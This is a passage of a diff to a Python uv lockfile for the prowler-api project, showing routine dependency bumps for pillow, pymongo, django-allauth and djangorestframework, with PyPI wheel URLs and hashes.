{ url = "https://files.pythonhosted.org/packages/86/a5/444817a4d4c4c2417df00513086ca196f388d8f9ef40c2e4ccd1ad1af54b/pillow-12.3.0-cp311-cp311-win32.whl", hash = "sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b", size = 6472232, upload-time = "2026-07-01T11:53:59.767Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/63/c6/4bad1b18d132a50b27e1365e1ab163616f7a5bb56d330f66f9d1d9d4f9d4/pillow-12.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a", size = 7233653, upload-time = "2026-07-01T11:54:02.066Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fd/16/00f91ab7760dc842f5aad55217e80fc4a7067a0604535249bc8a2d6d9870/pillow-12.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26", size = 2568195, upload-time = "2026-07-01T11:54:04.622Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/bf/fb3ebff8ddcb76aac5a01389251bbbb9519922a9b520d8247c1ca864a25d/pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965", size = 5345969, upload-time = "2026-07-01T11:54:06.397Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/66/9a386a92561f402389a4fc70c18838bf6d35eb5eb5c6850b4b2dc64f5048/pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7", size = 4780323, upload-time = "2026-07-01T11:54:09.351Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/25/27/ac8f99618ffd3dde21db0f4d4b1d2ab00c0880595bfd17df103f7f39fd0c/pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9", size = 6266838, upload-time = "2026-07-01T11:54:11.71Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/84/21/a35af28dcc61f37ed850a2d64c65c701321dfbf25085e469d5559360cbbf/pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91", size = 6940830, upload-time = "2026-07-01T11:54:13.732Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/eb/51/8b08617af3ad95e33ce6d7dd2c99ed6c8298f7fb131636303956be022e25/pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c", size = 6344383, upload-time = "2026-07-01T11:54:15.756Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1d/72/cf78ac9780bb93c28328f408973845a309d4d145041665f734572ced1b52/pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df", size = 7052934, upload-time = "2026-07-01T11:54:17.721Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/20/25e0f4dc178a6bc0696793720055519a0de89e7661dae886992decbd2f81/pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f", size = 6472684, upload-time = "2026-07-01T11:54:19.839Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/45/89/da2f7971a317f83d807fdd4065c0af40208e59e692cc43d315a71a0e96d1/pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09", size = 7227137, upload-time = "2026-07-01T11:54:22.025Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/de/47/4845a0a6c0dbf1db8456bd9fc791f13c5ced7ced20606d08a0aacfd25b49/pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510", size = 2568267, upload-time = "2026-07-01T11:54:24.051Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/75/18/2e8b40223153ccbc60df07f9e8928dc0c76202aa4e55ae9f53962b6510d6/pillow-12.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468", size = 5302510, upload-time = "2026-07-01T11:56:25.736Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/46/3e/51fabf59d5ab801ceab709453d3ab6b180083496579549de4c45ced6528a/pillow-12.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94", size = 4736058, upload-time = "2026-07-01T11:56:28.041Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bf/20/22fe9384b7949e25fb1293bcfc84fb82590ff4ea6b37c95b24d26d793d86/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e", size = 5237776, upload-time = "2026-07-01T11:56:30.263Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/08/14/f6ba68107680ffa74b39985f3f30884e41318fbc4250caa423c79b4788bb/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3", size = 5860358, upload-time = "2026-07-01T11:56:32.68Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/36/54/0169bc772ec491108b62f644f8ecf1fe5d8ae5ebafde2ee2142210166903/pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a", size = 7231786, upload-time = "2026-07-01T11:56:35.046Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6c/d7/af6af1b8cc55e07cb0489d5b0950bf5a9bb1461eeba825700b6d8d0e26ea/pillow-13.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:6f38f3f885a09cafc93fd667b1173a92f379e43785d635e7983c893f0da319fb", size = 5592324, upload-time = "2026-10-16T22:15:24.672Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0b/d2/2c12cb4fbb5d95f38d1001ff3d95fafcb830077018cba40e56a8f932dfbc/pillow-13.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37290fbef0c73e2d51d594eb78fded7dc7170d1c3ad0a890269e6fd8c8c4e061", size = 4856298, upload-time = "2026-10-16T22:15:27.669Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/ee/229b27472483a4801ea94990815e710391836afdf987b4b722b62bd75db6/pillow-13.0.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7c88c10dd432f3b39ccdafc9ed81d0c21b8fd634502574da76d1bfa4fe2c76d0", size = 6517304, upload-time = "2026-10-16T22:15:29.43Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/36/46/f509b74787f40ce0627501089d630b2c741b63b244c1f40b640b3b01e181/pillow-13.0.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a625df9a2a5597fa5e5266e01aefc82604bb85d291e3547981e863560d75da6c", size = 7140667, upload-time = "2026-10-16T22:15:31.368Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/aa/a4/5a398b8ec2c37145397d6461c0b551c23ec03072aa64f357aed25e582b00/pillow-13.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:10b5019883c98f1dd819ca48ffc6f33a91cee04948fe637c605f4345c7cafd6f", size = 6610583, upload-time = "2026-10-16T22:15:34.025Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/7b/f2f1109b230fd4e2d57ab2305de31adc37ea9b4ff8719436c623cb484415/pillow-13.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f391dc92a015c478745192fe4f2e120c2af2aba18d9fe0616341cbf537599806", size = 7218241, upload-time = "2026-10-16T22:15:36.214Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ab/d3/069edb9083b267746baf59756282cacef904d3475c5288c7216fb5195a98/pillow-13.0.0-cp311-cp311-win32.whl", hash = "sha256:6a0920cb55df5a4d3f6862964908078c0bd59332bdd1bcd20d14e8c70ef27cc5", size = 6515278, upload-time = "2026-10-16T22:15:38.129Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7d/f6/6e2d96413e4c9dbec12ea584d9e646d602877d4cce3ea669099f959deac6/pillow-13.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:d7710eb676e9bb68965cb045be0d333b4c0d7f9dfbaa7fbf121385b1588683d3", size = 7278471, upload-time = "2026-10-16T22:15:40.286Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/e7/baff21f8cb60496c8c250609501b88919eeedb4088d3da106f6c62f3f3c0/pillow-13.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:12fbb851cf323cc19aac3eea1df5ad17b57e91e9fe3cfd06100dba7bb8208c13", size = 2698981, upload-time = "2026-10-16T22:15:42.637Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/b8/58d79332229482eb0d27c82973850808c19d37e5bdc14443d3417bd373f5/pillow-13.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:67c8d44ad89fa7eb88de5d6ef6199b1e03dd24974f85a67639fc8badb801fe79", size = 5568643, upload-time = "2026-10-16T22:15:44.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/39/4b/f2ed53d83aa44ac19599ac0a54897f867fafb95f406980d1e24083f8cbe3/pillow-13.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc481f742ccda20e9ed760b8f978dff50f2a4e9bc253ac167fb0a05b0783ef52", size = 4852329, upload-time = "2026-10-16T22:15:46.284Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3b/bb/9e30e8ed18c20800ee327a12107d5249ad8dc444867b3adfcc21654e3c71/pillow-13.0.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8bf295fe459343bc6093c8e5e0df60bfa189e0fcb775a22e2c2488fdeccc6c0d", size = 6519309, upload-time = "2026-10-16T22:15:48.14Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e6/99/fdf65cc539e266ab93546c261bdf98411fe165c6e4e13f9dbf597097192b/pillow-13.0.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42d63be3af4f9b951b199b0a9d23365d37ab14687e6d77b74940432c8515c4ca", size = 7144542, upload-time = "2026-10-16T22:15:50.093Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/26/9b/f38b7c4d8f599537e2d1a6d546cec9beef7536ff8f5c49a3f9c78179d8ac/pillow-13.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4bd024d567eca931b668978d672dba914d4b8e2628e2c3073a2ad178de8a2620", size = 6618042, upload-time = "2026-10-16T22:15:52.054Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a8/7c/45ee28531f89ee4582967d8a17f7a26d71ca64cd902b93c269590cd60a00/pillow-13.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:23edf4ec4b6f4f240e8df6e4985e9ee2ced86474632433e55fb1e2548744bf40", size = 7228137, upload-time = "2026-10-16T22:15:54.009Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/01/bc/9c2a969cb1b70201d04fa17fd5aedf02a732870b8da86bceaaa30b0ca385/pillow-13.0.0-cp312-cp312-win32.whl", hash = "sha256:02464da86f561f410e13b061ec37c3068a9cb557a095494157742d07b3c24a27", size = 6515423, upload-time = "2026-10-16T22:15:56.25Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ff/cd/73a79ecdc822076002eb24b5e1e4a530b0bb5310fcb6d239abbec877110b/pillow-13.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:ff3fe9eb621fbb9db4c4be33ab946f6bac5f98ab50ca8d3260503653656c961b", size = 7272166, upload-time = "2026-10-16T22:15:58.597Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4a/a3/be5a1236efd085b3984e4305da8f179ae9dab80c991d2ad78f2bd5c4c843/pillow-13.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:c3bc8ee0271387e0b1e3ad0ff893645990a656e79bf9c42f4f734a3642b11d51", size = 2698943, upload-time = "2026-10-16T22:16:00.637Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/68/c0/fb7b1caf25ed5ac5d46116f09b8b0706b9559833c65c667cecb1a53153f2/pillow-13.0.0-pp311-pypy311_pp80-macosx_10_15_x86_64.whl", hash = "sha256:405be6058e206a86fedce2f715ecc2343f94072d7925251632dffa2c05f70dca", size = 5521630, upload-time = "2026-10-16T22:17:50.008Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1a/e6/4d11d5b1137f4fc080605cce410cfaae4f303ad400bdec75d27d3083fa29/pillow-13.0.0-pp311-pypy311_pp80-macosx_11_0_arm64.whl", hash = "sha256:b84be41387fc00db28c13c02e30d42b02d8d8f6a4a741a1aee6012ca7f1f6039", size = 4806023, upload-time = "2026-10-16T22:17:51.932Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f1/45/0923202a658e8ff6aafd72c1a4395ebadcdebaa182c437d8595d3dd3db32/pillow-13.0.0-pp311-pypy311_pp80-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a192360d512305fe92d3053e4f7627bbad1f7708f1f4ad38cccd9336acabe9ad", size = 5464831, upload-time = "2026-10-16T22:17:53.742Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/07/52/d3e38f0cad1dadea2a658b9a7d6ba8a04048f5ae14f011b806e5c3bd6bcb/pillow-13.0.0-pp311-pypy311_pp80-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:83b37abd87b590acd8f47ca8a61f70893322b11834d36e07c2298dacad4d14d2", size = 6043133, upload-time = "2026-10-16T22:17:55.625Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c4/f9/2ed7685980c1d64f8131a7d87a19c369424747577152622b73ddeff163b7/pillow-13.0.0-pp311-pypy311_pp80-win_amd64.whl", hash = "sha256:73ee25cf8cf8b75d5a5aeed7cb6588f5e5dbfbb0fde51707b630bbb23897645c", size = 7365208, upload-time = "2026-10-16T22:17:57.509Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/60/da/f6d644e631c5b370c5d0b899f3ccadd2780aab070b29a110527cf4e1fd2c/pillow-13.0.0-pp312-pypy312_pp80-macosx_10_15_x86_64.whl", hash = "sha256:8619685cad8efc4c38c66d3b36aad854523297c43d748b3b6f0cc03c90ba3463", size = 5523188, upload-time = "2026-10-16T22:17:59.334Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e4/b0/2594f202d743a35d4fe80682bfd96f277e5ca7aecb27cf64ef5bfc1d000b/pillow-13.0.0-pp312-pypy312_pp80-macosx_11_0_arm64.whl", hash = "sha256:7e91e97a929232cdb828889ee6ad0e48d7f40f4ec38818f4e4a8968b2b1af22e", size = 4806808, upload-time = "2026-10-16T22:18:01.188Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8e/ed/d504165ef79af6fafe25c76726cf30f544cc236002f7ed054f1d51adc4ff/pillow-13.0.0-pp312-pypy312_pp80-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93ff9c9c3663ce23aaa5d0b6b6abac55359e2a0c06c7e30f3771829af816be63", size = 5464358, upload-time = "2026-10-16T22:18:02.779Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/fe/a10aba5503ca13e9e009b8bd0a1a4ce5584bdce246245fd6f3a83701369c/pillow-13.0.0-pp312-pypy312_pp80-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e65dd6e75de67b2362a4fa3e16aa627595f65054dc4ec73d64680c84d592fa61", size = 6043514, upload-time = "2026-10-16T22:18:04.538Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c0/37/66b12dc476041fe523bca29c9d58fbf1ea92a4eaf73acfb9e993948f1191/pillow-13.0.0-pp312-pypy312_pp80-win_amd64.whl", hash = "sha256:567f20f1c75897d7663830da6ea8af719e03d712b1d9ee7f813319f9ece42e5a", size = 7366030, upload-time = "2026-10-16T22:18:06.638Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -4939,7 +4945,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "prowler-api"
|
||||
version = "1.47.0"
|
||||
version = "1.49.0"
|
||||
source = { virtual = "." }
|
||||
dependencies = [
|
||||
{ name = "cartography" },
|
||||
@@ -5014,7 +5020,7 @@ requires-dist = [
|
||||
{ name = "defusedxml", specifier = "==0.7.1" },
|
||||
{ name = "dj-rest-auth", extras = ["with-social", "jwt"], specifier = "==7.0.1" },
|
||||
{ name = "django", specifier = "==5.2.17" },
|
||||
{ name = "django-allauth", extras = ["saml"], specifier = "==65.15.0" },
|
||||
{ name = "django-allauth", extras = ["saml"], specifier = "==65.19.7" },
|
||||
{ name = "django-celery-beat", specifier = "==2.9.0" },
|
||||
{ name = "django-celery-results", specifier = "==2.6.0" },
|
||||
{ name = "django-cors-headers", specifier = "==4.4.0" },
|
||||
@@ -5023,7 +5029,7 @@ requires-dist = [
|
||||
{ name = "django-filter", specifier = "==24.3" },
|
||||
{ name = "django-guid", specifier = "==3.5.0" },
|
||||
{ name = "django-postgres-extra", specifier = "==2.0.9" },
|
||||
{ name = "djangorestframework", specifier = "==3.15.2" },
|
||||
{ name = "djangorestframework", specifier = "==3.18.3" },
|
||||
{ name = "djangorestframework-jsonapi", specifier = "==7.0.2" },
|
||||
{ name = "djangorestframework-simplejwt", specifier = "==5.5.1" },
|
||||
{ name = "drf-nested-routers", specifier = "==0.95.0" },
|
||||
@@ -5365,33 +5371,33 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "pymongo"
|
||||
version = "4.18.2"
|
||||
version = "4.18.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "dnspython" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/dc/04/455039b475bb8afa5af9b8c363fb773a45d898016f04ee40c1c75003a3f9/pymongo-4.18.2.tar.gz", hash = "sha256:1bd4321cc63c06954953eae9eb8fb5d9075296b96c0e3ed34ccb91a0dcce31a5", size = 2746691, upload-time = "2026-09-24T16:59:59.472Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/42/d8/2421a5ae0d6dcdaad2a0fb75d4071eaede9f764e73b829c62b6185c3ee6b/pymongo-4.18.3.tar.gz", hash = "sha256:5dd6e659b6014288a1c53458929402a58f44a032e6f29bcef44e7477c5268e48", size = 2747872, upload-time = "2026-10-08T19:44:08.343Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/65/01/e8358c562ce4e3255035f16eed43a6f77669b0779f3aa918362c670e869f/pymongo-4.18.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:257519b59d8509a950b21c4a626e5295b3ad4397c12ec47e6e93353c49236145", size = 818562, upload-time = "2026-09-24T16:58:20.602Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1f/18/48a9e7f44a35560284b36bba24622a959ec1dd940e7c4f7cd308cfdba756/pymongo-4.18.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:845b890622e7a2f031140f9cb1c0f266c1baa876ea359f7e51d0c38112cb3c6e", size = 819081, upload-time = "2026-09-24T16:58:22.043Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fc/24/2d9c0bb5649f262257f507b03f84419ac1254e94894cd493bda87fb935e1/pymongo-4.18.2-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a746f7e183c6d48aba6152d9f333e3bae2e8b6b00fac7abe69d4bdb3d10915c8", size = 1023284, upload-time = "2026-09-24T16:58:23.437Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/40/af888435ce8e3ae1e1a201b87fb397aa91e3ce115bb1bb3999197f2b9b72/pymongo-4.18.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf9d13d812e55d406080b8ec3d5b9ef8eb2279bac32529e4f7b41cfefd5340e2", size = 1031549, upload-time = "2026-09-24T16:58:24.869Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/66/f5053862cbeddf37b3184870fa179a3e9d9e27e668c720bb7ab28b65b753/pymongo-4.18.2-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:930e8bcdf781a73d3df05976f5eaca1193102571cb91726e30009d64878ef8ce", size = 1054025, upload-time = "2026-09-24T16:58:26.229Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/29/4d7c9d7cb718ea7bbac56465de3aea5f79d1266683c16bdcd40e77746530/pymongo-4.18.2-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a695bd34d1e942eca93a186e679be196e288370f1a203e383b2187c06349e348", size = 1046337, upload-time = "2026-09-24T16:58:27.822Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/aa/c18c564883c5b2616744d1ee7ab073a3b4045aaa4bbbd524105448d4f630/pymongo-4.18.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d95e339e94b82950bfd62ec9ff8fea9bc8dfd9db0940e9134d1647d366560df5", size = 1032845, upload-time = "2026-09-24T16:58:29.518Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/16/f8a1cb7ac3f1c2c45649f18b7cb398779b4b45e1954bbfcb9317c74c744d/pymongo-4.18.2-cp311-cp311-win32.whl", hash = "sha256:2e2a3b816270c493f6645a168150ecbfb19a0bd0d9d3b56be728a847954da717", size = 814203, upload-time = "2026-09-24T16:58:30.924Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/04/53/e9d6350ea753b7a72d0346fb2c8e0c589e0eb443b5041989f3b4ea52ce55/pymongo-4.18.2-cp311-cp311-win_amd64.whl", hash = "sha256:812b4ad5fe577f829cdb4e39a5601025b9cd7f2e3f8cd373cd5ab64ce78b0fb0", size = 821265, upload-time = "2026-09-24T16:58:32.479Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/2a/be9693eca04bb6f53f3bdb027220a210bd429c7bf902b79538471849297e/pymongo-4.18.2-cp311-cp311-win_arm64.whl", hash = "sha256:c36cadbc3a7712575900c6f50cdf24ebe2b376b6ad643cb5df1b3dce93447eae", size = 815444, upload-time = "2026-09-24T16:58:34.212Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/eb/995ec978741cfc56a29223ec0806976218b95d79a516d9b719c984ead130/pymongo-4.18.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:78a3b324407ba7228a57f207e175efc40341c1312d1e7df2d4ad8141ff6d8e00", size = 819057, upload-time = "2026-09-24T16:58:35.844Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/e4/5a166bbac7f6e620cfb75b0640e793dd3ce69423a1f89cf6a0bfc588c107/pymongo-4.18.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:498187b5171d5efa87291b30e4cbf1e9849929c02bc436e95a3d01ff19e49f42", size = 819448, upload-time = "2026-09-24T16:58:37.221Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c9/c8/82194d9a1387a56cac996901f92ea6a25ae817622ee32d15c986638b263f/pymongo-4.18.2-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2c003646d3fa5db4e835483fc29018eb06d8c637cf69f676ffbb3f0734005220", size = 1039602, upload-time = "2026-09-24T16:58:38.821Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cc/06/628f93f15f269d8a1ea20a024083e67871f722876a33992aec5525a6c6c4/pymongo-4.18.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c743347143298252948e038f768ea6f71b71ef8a85b7cf0dc13b734e072f74da", size = 1050746, upload-time = "2026-09-24T16:58:40.322Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bf/93/58ea76803128651ec9c732b59b8c1eb73d511c085c2e5786da3289d4015c/pymongo-4.18.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:09e6afa68001433c42925a258b57f2ceccb95c73fe8920452e147a82d90c1ae9", size = 1075681, upload-time = "2026-09-24T16:58:41.722Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7c/6d/702ee4593420e2a8ceb169ece6394f0bb9fc2e8e8d8101e99f2468ed6d0d/pymongo-4.18.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8d3445caeeb47dc64bf416dc03e0b3bfcf3b60a109dec355a563aa62c135cb33", size = 1068235, upload-time = "2026-09-24T16:58:43.228Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a9/92/a02a4108ca4faf05bca394d65dcebc7b84b0248cff23aa89927c81a0d5dd/pymongo-4.18.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecde9e735e1f86559e0a71a5bbec671e59a35549bfd8c60968d9f032b05013de", size = 1049896, upload-time = "2026-09-24T16:58:44.914Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6e/93/65ef17eecdd86c153f7907b2d490d85eb655d3a5eb35a8494e7e09376353/pymongo-4.18.2-cp312-cp312-win32.whl", hash = "sha256:a463c3fc072655b7fe9e9ded4601876bef7f1df98f6f3faeed07fa7f11309fff", size = 815124, upload-time = "2026-09-24T16:58:46.39Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/cc/fd66aa9d8956e8269ea63b2977a7fd38fbec45795d38b8067bfafc98992f/pymongo-4.18.2-cp312-cp312-win_amd64.whl", hash = "sha256:cbb67901ba9b6334fa94643d66587a30ffe5be05061af287364e6b5f7d239dc5", size = 821996, upload-time = "2026-09-24T16:58:47.769Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/06/21/983d340cfe226c987014f1caf9568b176cbd7f25dd87536379a609e6371e/pymongo-4.18.2-cp312-cp312-win_arm64.whl", hash = "sha256:94c5e0fe9af4c05f382ae7c4addd0255a8ddcc91b3d2a6bc09b34230cb28290b", size = 815707, upload-time = "2026-09-24T16:58:49.493Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/58/a6/63bdeb527d98998b8ea2c667eca00d48f22dd42af281e9a2d7090632d54d/pymongo-4.18.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4f00cb357d7cc7f2798116e2377732a409c43a6dc882f0241eafed7ffed50655", size = 818805, upload-time = "2026-10-08T19:42:09.125Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/e9/35602972d9fa98b894d1e5feef4db2f5d275298430e99b54b39f01125efa/pymongo-4.18.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3fe2ef9c6eb6b75689e10b20a3d8119da87302481b0a7029f9399b35142adfd8", size = 819303, upload-time = "2026-10-08T19:42:10.749Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/e1/468f2c69b32565c93a56623535f248b091cf52e83c3509fa4b791427889f/pymongo-4.18.3-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ba6090d4bed582c97e38fa818c0a2b7443f203cb28882900b433ff713465f158", size = 1023754, upload-time = "2026-10-08T19:42:12.683Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e1/24/8af75e8af2427a47cfcc996444df934990ac4890d855f2ec064409d8b94b/pymongo-4.18.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97f9903d0a089317422f52bbc25f5827e6656f0c42c43ed7d799bd02748e79a1", size = 1031920, upload-time = "2026-10-08T19:42:14.443Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/78/d0/96fa79fb7cb47e6f09e58ccbe1a726330b5d052f395b65d57e286849ed43/pymongo-4.18.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ac9bf2304c2b092ccf04261ab0cddb7fd65df1cc1ae0fa57312b03396c00d28c", size = 1053859, upload-time = "2026-10-08T19:42:16.315Z" },
|
||||
